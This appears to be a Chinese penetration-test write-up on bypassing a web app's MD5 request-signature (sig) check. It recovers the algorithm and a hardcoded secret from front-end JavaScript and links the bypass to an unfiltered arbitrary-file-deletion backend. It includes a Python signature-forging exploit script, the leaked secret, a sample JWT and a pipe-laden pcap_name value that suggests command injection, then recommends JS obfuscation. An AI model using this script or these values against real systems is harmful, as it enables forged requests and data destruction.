在实际资产网站中比较有安全意识的开发,为了防止攻击者获的请求数据包和参数进行伪造和重放,会在每一次请求中加上sig/sign验签机制,来保证请求不会被伪造和重放,确保请求的安全性。
主要防御措施可以归纳为两点:
而sig的核心是参数值防戳改+防二次请求。
nonce方案,加上仅一次有效的随机字符串,如:加密算法MD5/hash(random_string+token+request_param+param+param_value)处理后生成一个一次性有效的字符串值sig,存起来或在集合中,第二次先进行判断若出现相同的sig则认为重放,若放在集合则产生一个问题集合会无限扩大。
timestamp方案,即timestamp和其他参数一起进行数字签名。一次正常的HTTP请求,从发出到达服务器一般都不会超过一个规定的时间范围假设为60s,那么在60s之内也就可以进行重放攻击。
所以现在采用较为安全的方案一般可以是,nonce+timetamp方案,timetamp保证60s之外无法进行重放伪造,nonce又保证了60s之内请求的一次性有效,timetamp下60s后sig失效,同时解决集合无限放大的问题。
但是尽管sig生成机制多么的严密,理论上来说,还是防不了攻击者自己生成sign,因为客户端需要发送合法的数据包,那么生成的算法代码一定会出现在在客户端里(js)中,所以只要得到客户端的sign生成算法仍然存在sign伪造绕过。卸下验签机制的伪装后系统往往存在着许多严重的漏洞。就像下面的案例。
最近渗透某系统时发现在前端每一步请求时都会生成一个sig验签机制,来保证请求的数据和提交的请求不可被重放。在验签机制的生成可在前端taw-app.js中查看其签名机制的生成原理,即
md5((e.indexOf("?") > 0 ? r.objKeySort($.parseJSON('{"' + e.split("?")[1].replace(/=/g, '":"').replace(/&/g, '","') + '"}')) : "{}") + d + sessionStorage.getItem("token") + a["default"].ajaxStr);
如下图
sessionStorage.getItem("token")为jwt token固定且已知,d为6位生成的随机字符串(也可忽略可在下一次重新生成一个)r为doOutput->this传入的对象t
t为用户请求的功能接口可控。
用objKeySort如下图解析接口提交的data数据将等于号替换成冒号等操作转化为json格式然后按照键进行排序得到新的json数据。
只有一个a["default"].ajaxStr未知,但该参数值也为一个固定值,
在这种情况下若a["default"].ajaxStr参数被泄露,攻击者可根据构造的数据包重新伪造一个签名进行重放,如下删除请求,后台代码中对参数并未进行过滤直接拼接进行任意文件操作,
对应后端代码,存在任意文件删除,若签名伪造成功则可完成攻击。
,代码多处存在问题,因此ajaxStr若能够在前台泄露则可造成在验签机制被伪造绕过的情况下系统的多处漏洞(使用到的危险函数未过滤)被触发的风险。
根据客户端中以上js中验签机制生成算法流程可以得到:
sig=md5({"param":"value"}+random_string+token+ajaxStr)
抓取一个请求包
token=
调试js,获取ajaxstr
ajaxStr="f%>zDq&6XqiY"
得到
sig=md5({"param":"value"}+random_string+token+ajaxStr)
中各参数的值
根据客户端js的验签机制生成算法python进行复现及伪造
sig伪造exp
import random import string import json import time import hashlib def parseJSON(dataStr): strJSON="{'"+dataStr.replace("=","':'").replace("&","','")+"'}" return strJSON def objKeySort(json_str): SortJson=json.dumps(eval(json_str),sort_keys=True) print(SortJson) print(type(SortJson)) return SortJson a = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"] #token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InN1cGVybWFuIiwiaWF0IjoxNTc4OTA2Mzk3LCJpcGFkZHIiOiIxOTIuMTY4Ljg2LjIzMiIsImxvZyI6MTU3ODkwNjM5MSwidWlkIjoiIn0.OE9DEe2qS6p1eQeXXxGoUTfjMQZn3E8Ni73V2BIcc5Y"; token='' if token=='': token=input("请输入token:") dataStr='' if dataStr=='': dataStr=input("请输入提交的数据:") jsonStr=parseJSON(dataStr) print("Sort前-JSON:"+jsonStr+'\n') objKeySort_JSON=objKeySort(jsonStr).replace(": ",":").replace(", ",",") print("Sort后-JSON:"+objKeySort_JSON+'\n') ajaxStr="f%>zDq&6XqiY"; num=''.join(random.sample(a,6)); num1='5WUX51'; #抓包下载 str_sig=str('''{"pcap_name":"pcap_20200113_155745.pcap|test|"}''')+num+token+ajaxStr; #添加数据 str_sig=objKeySort_JSON+num+token+ajaxStr; a = hashlib.md5() a.update(str_sig.encode(encoding='utf-8')) sig=a.hexdigest() print("加密的字符串为:"+str_sig+'\n') print("sig:"+sig+'\n'); print("non:"+num+'\n'); print(dataStr+"&non="+num+"&sig="+sig);
理论上来说,根本防不了攻击者自己生成sign,因为客户端需要发送合法的数据包,那么生成的算法代码一定在客户端里的,所以建议提高攻击难度,对前端js进行混肴加密,同时感谢有关web,app验签机制相关问题,coolcat酷猫师傅的解答。
Js混肴加密可参考c0ny1师傅的一个项目:
https://github.com/c0ny1/jsEncrypter
进行加密。